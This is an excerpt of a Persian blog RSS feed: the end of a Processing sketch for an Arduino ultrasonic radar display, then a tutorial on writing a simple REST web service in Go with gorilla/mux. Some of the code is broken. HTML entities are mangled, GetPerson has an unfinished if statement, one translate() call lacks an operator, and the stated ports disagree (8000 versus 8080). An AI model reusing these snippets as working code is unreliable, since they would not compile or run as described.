iAngle = int(angle);
iDistance = int(distance);
}
void drawRadar() {
pushMatrix();
translate(width/2,height-height*0.074); // moves the starting coordinats to new location
noFill();
strokeWeight(2);
stroke(98,245,31);
// draws the arc lines
arc(0,0,(width-width*0.0625),(width-width*0.0625),PI,TWO_PI);
arc(0,0,(width-width*0.27),(width-width*0.27),PI,TWO_PI);
arc(0,0,(width-width*0.479),(width-width*0.479),PI,TWO_PI);
arc(0,0,(width-width*0.687),(width-width*0.687),PI,TWO_PI);
// draws the angle lines
line(-width/2,0,width/2,0);
line(0,0,(-width/2)*cos(radians(30)),(-width/2)*sin(radians(30)));
line(0,0,(-width/2)*cos(radians(60)),(-width/2)*sin(radians(60)));
line(0,0,(-width/2)*cos(radians(90)),(-width/2)*sin(radians(90)));
line(0,0,(-width/2)*cos(radians(120)),(-width/2)*sin(radians(120)));
line(0,0,(-width/2)*cos(radians(150)),(-width/2)*sin(radians(150)));
line((-width/2)*cos(radians(30)),0,width/2,0);
popMatrix();
}
void drawObject() {
pushMatrix();
translate(width/2,height-height*0.074); // moves the starting coordinats to new location
strokeWeight(9);
stroke(255,10,10); // red color
pixsDistance = iDistance*((height-height*0.1666)*0.025); // covers the distance from the sensor from cm to pixels
// limiting the range to 40 cms
if(iDistance&lt;40){
// draws the object according to the angle and the distance
line(pixsDistance*cos(radians(iAngle)),-pixsDistance*sin(radians(iAngle)),(width-width*0.505)*cos(radians(iAngle)),-(width-width*0.505)*sin(radians(iAngle)));
}
popMatrix();
}
void drawLine() {
pushMatrix();
strokeWeight(9);
stroke(30,250,60);
translate(width/2,height-height*0.074); // moves the starting coordinats to new location
line(0,0,(height-height*0.12)*cos(radians(iAngle)),-(height-height*0.12)*sin(radians(iAngle))); // draws the line according to the angle
popMatrix();
}
void drawText() { // draws the texts on the screen
pushMatrix();
if(iDistance&gt;40) {
noObject = &amp;quotOut of Range&quot;

}
else {
noObject = &amp;quotIn Range&quot;

}
fill(0,0,0);
noStroke();
rect(0, height-height*0.0648, width, height);
fill(98,245,31);
textSize(25);
text(&amp;quot10cm&amp;quot,width-width*0.3854,height-height*0.0833);
text(&amp;quot20cm&amp;quot,width-width*0.281,height-height*0.0833);
text(&amp;quot30cm&amp;quot,width-width*0.177,height-height*0.0833);
text(&amp;quot40cm&amp;quot,width-width*0.0729,height-height*0.0833);
textSize(40);
text(&amp;quotObject: &amp;quot + noObject, width-width*0.875, height-height*0.0277);
text(&amp;quotAngle: &amp;quot + iAngle +&amp;quot °&amp;quot, width-width*0.48, height-height*0.0277);
text(&amp;quotDistance: &amp;quot, width-width*0.26, height-height*0.0277);
if(iDistance&lt;40) {
text(&amp;quot        &amp;quot + iDistance +&amp;quot cm&amp;quot, width-width*0.225, height-height*0.0277);
}
textSize(25);
  fill(98,245,60);
  translate((width-width*0.4994)+width/2*cos(radians(30)),(height-height*0.0907)
  width/2*sin(radians(30)));
  rotate(-radians(-60));
  text(&amp;quot30°&amp;quot,0,0);
  resetMatrix();
  translate((width-width*0.503)+width/2*cos(radians(60)),(height-height*0.0888)-width/2*sin(radians(60)));
  rotate(-radians(-30));
  text(&amp;quot60°&amp;quot,0,0);
  resetMatrix();
  translate((width-width*0.507)+width/2*cos(radians(90)),(height-height*0.0833)-width/2*sin(radians(90)));
  rotate(radians(0));
  text(&amp;quot90°&amp;quot,0,0);
  resetMatrix();
  translate(width-width*0.513+width/2*cos(radians(120)),(height-height*0.07129)-width/2*sin(radians(120)));
  rotate(radians(-30));
  text(&amp;quot120°&amp;quot,0,0);
  resetMatrix();
  translate((width-width*0.5104)+width/2*cos(radians(150)),(height-height*0.0574)-width/2*sin(radians(150)));
  rotate(radians(-60));
  text(&amp;quot150°&amp;quot,0,0);
  popMatrix();
}منابعhttps://howtomechatronics.com/projects/arduino-radar-project/https://www.instructables.com/id/How-to-make-a-simple-ultrasonic-radar-system-/http://rd313.ir/1396/09/27/آردوینو-و-پروژه-رادار-آلتراسونیک</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Wed, 06 Feb 2019 00:44:45 +0330</pubDate>
            </item>
                    <item>
                <title>چطور یک وب سرویس ساده با Go بنویسیم</title>
                <link>https://virgool.io/golangpub/%DA%86%D8%B7%D9%88%D8%B1-%DB%8C%DA%A9-%D9%88%D8%A8-%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D8%B3%D8%A7%D8%AF%D9%87-%D8%A8%D8%A7-go-%D8%A8%D9%86%D9%88%DB%8C%D8%B3%DB%8C%D9%85-plfmz0ybqgjp</link>
                <description>golang.orgچرا Go ؟زبان Go یک زبان قوی و سریع است که مستندات بسیار قوی و کاملی دارد که نمونه برنامه های زیادی در کاربرد های متنوعی برایش وجود دارداز مزیت هایی که این زبان میتوان به سادگی زبان از این ساده تریم داریم اصلا!جدا از این شوخی به نسبت زبان های C و ++C بدون شک این زبان برای پروژه های پیچیده میتواند انتخاب بهتری باشد منظور از ساده این است که شما کد حرفه ای را با همان قدرتمندی زبان C به صورتی ساده مینوسید در ادامه سادگی آن را خواهیم دیدهمروندیزبان go انتخاب بسیار خوبی برای برنامه نویسی همروند است با استفاده از  goroutine ها میتوان thread های متنوع را به سادگی پیاده و از آن استفاده کرد...از کاربرد های این زبان میتوان در وببرنامه نویسی سیستمیشبکه...البته go برای برنامه های برنامه های Desktop , GUI-based زیاد مناسب نیستنصب Goلینوکس و مکبرای نصب در لینوکس و مک این اسکریپت را اجرا کنید ویندوزبه وبسایت golang.org بروید و پکیج مربوط به ویندوز را دانلود و نصب کنید و سپس Environment Variable تعریف کنید و ... این لیست آموزشی بسیار خوب است که اتفاقا آموزش نصب برای ویندوز را هم دارد اگر در هر مرحله ای از دانلود به تحریم لعنتی خوردید شکن میتواند کار راه انداز باشدمعماری نرم افزارمثل همیشه RESTful! بیشتر وبسرویس ها از معماری REST استفاده میکنند چون یک استاندارد برای معماری وب و پروتکل Http است پروتکل REST این ویژگی هارا داردLayered SystemCode On DemandCacheableUniform InterfaceStatelessClient-Serverالبته این پروتکل خود جای چند مقاله دارد ولی با این حال چون عنوان مطلب موضوعی دیگر است ناچار به مشاهده این عکس ادامه کار را پی میگیریمOpen Programmer با توجه به عکس ما در واقع یک درگاه درست میکنیم که از طریق آن هر وسیله ای که بتواند به شبکه متصل شود بتواند از طریق آن درگاه اطلاعات مختلفی دریافت کند این اطلاعات میتواند آدرس دنبال کنندگان ویرگول شما و یا میزان رطوبت خاک گلخانه شما باشد!در واقع ما در طرف سمت راست تصویر اطلاعات مختلف را به هر صورتی از هر جایی جمع آوری میکنیم و سپس بر اساس درخواست های مختلف در قالب هایی آن هارا ارائه می کنیمبرای مثال لطفا به تصویر زیر نگاه کنیدStack Overflowبرای دریافت لیست کل تصاویر که به هر صورتی از هر جایی جمع آوری شده فقط کافی است مثلا به آدرس 192.168.1.54 و مسیر photos/ برویملازم به ذکر است در این درخواست های فقط محدود به گرفتن یا به اصطلاح GET نمیشود درخواست هایی دیگر مانند فرستادن(POST)حذف(DELETE)بروزرسانی(UPDATE)...وجود داردخب دیگه واقعا بریم سر اصل مطلب پیاده سازیابتدا یک فولدر ایجاد میکنیم mkdir -p $GOPATH/src/github/{your username}/rest-api سپس وارد آن میشویم cd rest-api مسیر یاب(Router)ما از کتابخوانه mux برای اینکار استفاده میکنیمابتدا کتابخوانه را دریافت میکنیم go get github.com/gorilla/mux یک فایل به نام main.go ایجاد و کد زیر را مینوسیم package main 
  import ( 
      &quot;encoding/json&quot; 
      &quot;log&quot; 
      &quot;net/http&quot; 
      &quot;github.com/gorilla/mux&quot; 
  ) 
   // our main function 
  func main() { 
      router := mux.NewRouter() 
      log.Fatal(http.ListenAndServe(&quot;:8000&quot;, router)) 
 }حالا لازم است مسیر هایی که میخواهیم را در main تعریف کنیم به این صورت // fun main() 
  func main() { 
      router := mux.NewRouter() 
      router.HandleFunc(&quot;/people&quot;, GetPeople).Methods(&quot;GET&quot;) 
      router.HandleFunc(&quot;/people/{id}&quot;, GetPerson).Methods(&quot;GET&quot;) 
      router.HandleFunc(&quot;/people/{id}&quot;, CreatePerson).Methods(&quot;POST&quot;) 
      router.HandleFunc(&quot;/people/{id}&quot;, DeletePerson).Methods(&quot;DELETE&quot;) 
      log.Fatal(http.ListenAndServe(&quot;:8000&quot;, router)) 
  } حالا برنامه را اجرا میکنیم go build 
  ./rest-api اگر خطا گرفتید پس تا اینجا درست رفته اید حالا باید برای هر یک از مسیر هایی که داخل main تعریف کرده ایم یک تابع می نویسیم  func GetPeople(w http.ResponseWriter, r *http.Request) {} 
  func GetPerson(w http.ResponseWriter, r *http.Request) {} 
  func CreatePerson(w http.ResponseWriter, r *http.Request) {} 
  func DeletePerson(w http.ResponseWriter, r *http.Request) {} حال ساختار های زیر را در main.go بعد از بخش فراخوانی کتابخوانه ها تعریف میکنیم type Person struct { 
      ID        string   `json:&quot;id,omitempty&quot;` 
      Firstname string   `json:&quot;firstname,omitempty&quot;` 
      Lastname  string   `json:&quot;lastname,omitempty&quot;` 
      Address   *Address `json:&quot;address,omitempty&quot;` 
  } 
type Address struct { 
     City  string `json:&quot;city,omitempty&quot;` 
     State string `json:&quot;state,omitempty&quot;` 
  } 
var people []Person خب تبریک میگم شما ساختار هارا تعریف کردید!حالا یک سری داده پیش فرض در ساختار هایی که تعریف کرده ایم وارد میکنیمدر فایل main.go کد های زیر را بنویسید func GetPeople(w http.ResponseWriter, r *http.Request) { 
      json.NewEncoder(w).Encode(people) 
 }یکبار دیگر build و اجرا کنید go build &amp;&amp; ./rest-api حالا لطفا به آدرس http://localhost:8080 بروید خب بسیار عالی شما باید لیست همه افرادی را که وارد کرده اید دریافت کنیدگرفتن اطلاعات یک فرددر فایل main.go کد های زیر را بنویسید func GetPerson(w http.ResponseWriter, r *http.Request) { 
      params := mux.Vars(r) 
      for _, item := range people { 
      if item.ID == params[&quot;id&quot;] 
  } 
  } ایجاد فرد جدیددر فایل main.go کد های زیر را بنویسید func CreatePerson(w http.ResponseWriter, r *http.Request) { 
      params := mux.Vars(r) 
      var person Person 
      _ = json.NewDecoder(r.Body).Decode(&amp;person) 
      person.ID = params[&quot;id&quot;] 
      people = append(people, person) 
      json.NewEncoder(w).Encode(people) 
  } حذف یک فرد در فایل main.go کد های زیر را بنویسید func DeletePerson(w http.ResponseWriter, r *http.Request) { 
      params := mux.Vars(r) 
      for index, item := range people { 
          if item.ID == params[&quot;id&quot;] { 
              people = append(people[:index], people[index+1]...) 
              break  
          } 
        json.NewEncoder(w).Encode(people) 
     }
 }اگر هم مشکلی جایی وجود دارد که دلیلش را نمی دانید مخرن این پروژه در گیت هاب استبرای تست route هایی که میتوانید از Postman استفاده کنید همچنین برای نمایش بهتر خروجی ها از این افزونه داخل کروم هم میتوانید استفاده کنیدلازم به ذکر است همانطور که اول مطلب گفته شد زبان Go نسبت به c++,c بسیار ساده تر است البته این آموزش یک مثال خیلی خیلی ساده از استفاده این زبان بود امروز کتابخوانه های بسیار قوی تر برای بستر های بزرگتر توسعه داده شده است که میتوان از آن ها استفاده کردمنابعcodementor.ioquora.comstackoverflow.comکم و کاستی های فروان این مطلب را بر ما ببخشید لطفا نظرات خود را حتما لطفا اینجا بگذارید</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Tue, 29 Jan 2019 02:10:11 +0330</pubDate>
            </item>
            </channel>
</rss>